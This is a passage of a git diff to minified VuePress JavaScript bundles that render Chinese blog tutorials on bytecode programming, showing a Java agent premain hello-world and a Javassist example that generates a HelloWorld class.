punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("创建Premain类。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description 第一个pemain程序,在main方法前面执行\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Premain")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("premain")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"hello premain"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("看到这里,相信不少小伙伴会明确我们的最终效果了吧,没错,就是运行程序时,先输出"),a("code",[s._v("hello premain")]),s._v(" 后输出 "),a("code",[s._v("hello main")]),s._v("。")]),s._v(" "),a("p",[s._v("可能又会有小伙伴会问:程序的启动入口不就是main()方法吗?既然main()方法是程序的入口,那为啥不先执行main()方法呢?")]),s._v(" "),a("p",[s._v("别急,我们先来看下最终的效果,至于内部的原理,我们会在【字节码编程】专栏后面的文章中详细介绍。")]),s._v(" "),a("h3",{attrs:{id:"第一次运行程序"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#第一次运行程序"}},[s._v("#")]),s._v(" 第一次运行程序")]),s._v(" "),a("p",[s._v("这里,我们还是要运行main()方法,控制台输出的效果如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/41052d6c30a5360cee60178dc542fd33.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("我去,啥情况,不是说了要先输出"),a("code",[s._v("hello premain")]),s._v(" 后输出 "),a("code",[s._v("hello main")]),s._v(" 吗?为啥只输出了 "),a("code",[s._v("hello main")]),s._v(" ?难道是翻车了?")]),s._v(" "),a("p",[s._v("其实,这里是需要对程序进行简单的配置。")]),s._v(" "),a("h3",{attrs:{id:"配置程序"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#配置程序"}},[s._v("#")]),s._v(" 配置程序")]),s._v(" "),a("p",[s._v("首先,在IDEA中配置好Maven,将 "),a("code",[s._v("bytecode-javassist-01")]),s._v("项目打包成Jar文件,将打包好的 "),a("code",[s._v("bytecode-javassist-01-1.0.0-SNAPSHOT.jar")]),s._v(" 文件拷贝到D盘根目录(可以拷贝到任意目录或者不拷贝都行)。")]),s._v(" "),a("p",[s._v("然后在IDEA中配置下main()方法的启动参数,在IDEA的Program arguments中输入如下配置。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("-javaagent:D:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("bytecode-javassist-01-1.0.0-SNAPSHOT.jar\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/37e7c36c93d678be3da85bbeba0c4ede.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击 "),a("code",[s._v("Apply")]),s._v(",然后点击 "),a("code",[s._v("OK")]),s._v("。完成配置。")]),s._v(" "),a("h3",{attrs:{id:"第二次运行程序"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#第二次运行程序"}},[s._v("#")]),s._v(" 第二次运行程序")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/53c43a5ff82b2cd0a3c1f45528a03795.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("看到没,小伙伴们,确实是先输出了"),a("code",[s._v("hello premain")]),s._v(" 后输出了 "),a("code",[s._v("hello main")]),s._v(" 。")]),s._v(" "),a("p",[s._v("是不是很神奇,在接下来的一段时间内,我们开启一段神奇的字节码编程之旅吧。")]),s._v(" "),a("h2",{attrs:{id:"总结"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#总结"}},[s._v("#")]),s._v(" 总结")]),s._v(" "),a("p",[s._v("作为【字节码编程】的开篇,在文章的开始,就很多小伙伴迷茫的点,冰河给出了一些简单的建议,希望能够给正处于迷茫期的小伙伴们一点帮助。")]),s._v(" "),a("p",[s._v("接下来,我们介绍了动态字节码技术、如何实现字节码编程和字节码编程的使用场景。最后我们通过一个小案例让小伙伴们认识到尽管main()方法是整个程序的入口,但是在main()方法运行前,还是可以运行其他方法的。")]),s._v(" "),a("p",[a("strong",[s._v("最后,告诉大家一个好消息,经过很长时间的努力,冰河的个人博客也快上线啦,期待ing~~")])]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("p",[a("strong",[s._v("如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-340.js b/assets/js/cg-340.js index d733568bf22a0602c7725c0c6daebd1a2c608eaf..c98f5865abefb764573513d2bcdab491b749fbbd 100644 --- a/assets/js/cg-340.js +++ b/assets/js/cg-340.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[340],{631:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"字节码编程-使用javassist动态生成hello-world"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程-使用javassist动态生成hello-world"}},[s._v("#")]),s._v(" 字节码编程 | 使用Javassist动态生成Hello World")]),s._v(" "),t("p",[t("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),t("p",[s._v("字节码编程在实际的业务开发(CRUD)中并不常用,但是随着网络编程,RPC、动态字节码增强技术和自动化测试以及零侵入APM监控的不断发展与大量使用,越来越多的技术需要使用到字节码编程。")]),s._v(" "),t("p",[s._v("好了,我们今天就使用Javassist动态生成一个HelloWorld案例,相关的程序案例代码可以关注公众号:"),t("strong",[s._v("冰河技术")]),s._v(" 获取,也可以直接到Github和Gitee获取。")]),s._v(" "),t("blockquote",[t("p",[s._v("Github:https://github.com/binghe001/bytecode")]),s._v(" "),t("p",[s._v("Gitee:https://gitee.com/binghe001/bytecode")])]),s._v(" "),t("h2",{attrs:{id:"开发环境"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#开发环境"}},[s._v("#")]),s._v(" 开发环境")]),s._v(" "),t("ul",[t("li",[s._v("JDK 1.8")]),s._v(" "),t("li",[s._v("IDEA 2018.03")]),s._v(" "),t("li",[s._v("Maven 3.6.0")])]),s._v(" "),t("h2",{attrs:{id:"maven依赖"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#maven依赖"}},[s._v("#")]),s._v(" Maven依赖")]),s._v(" "),t("p",[s._v("在项目的pom.xml文件中添加如下环境依赖。")]),s._v(" "),t("div",{staticClass:"language-xml line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-xml"}},[t("code",[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("properties")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("javassist.version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("3.20.0-GA"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependencies")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.javassist"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${javassist.version}"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br")])]),t("h2",{attrs:{id:"案例效果"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例效果"}},[s._v("#")]),s._v(" 案例效果")]),s._v(" "),t("p",[s._v("整体案例效果其实也是很简单的,学习Java语言时,我们会在命令行打印第一个Hello World程序。今天,我们学习Javassist字节码编程时,也来实现一个HelloWorld程序。")]),s._v(" "),t("p",[s._v("案例的效果就是要生成如下的程序代码。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("binghe"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bytecode"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("test")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloWorld")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" var0"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Javassist Hello World by 冰河(公众号:冰河技术)"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloWorld")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("p",[s._v("看看这个效果,像不像我们自己在IDEA中写的Java代码呢?就让我们一起使用Javassist来实现它吧。")]),s._v(" "),t("h2",{attrs:{id:"案例实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例实现"}},[s._v("#")]),s._v(" 案例实现")]),s._v(" "),t("p",[s._v("这个案例其实还是蛮简单的,这里就先直接给出源代码了。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description 测试使用Javassist生成第一个类HelloWorld\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("GenerateHelloWorldClass")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 创建HelloWorld的类,并返回HelloWorld的Class实例\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createHelloWorld")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//使用默认的ClassPool")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),s._v(" pool "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getDefault")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建一个空类")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),s._v(" ctClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("makeClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.bytecode.javassist.test.HelloWorld"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//添加一个main方法")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),s._v(" ctMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("voidType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"main"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//将main方法声明为public static类型")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PUBLIC")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("STATIC")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置方法体")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"System.out.println(\\"Javassist Hello World by 冰河(公众号:冰河技术)\\");"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//将生成的类的class文件输出的磁盘")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("writeFile")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//返回HelloWorld的Class实例")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token 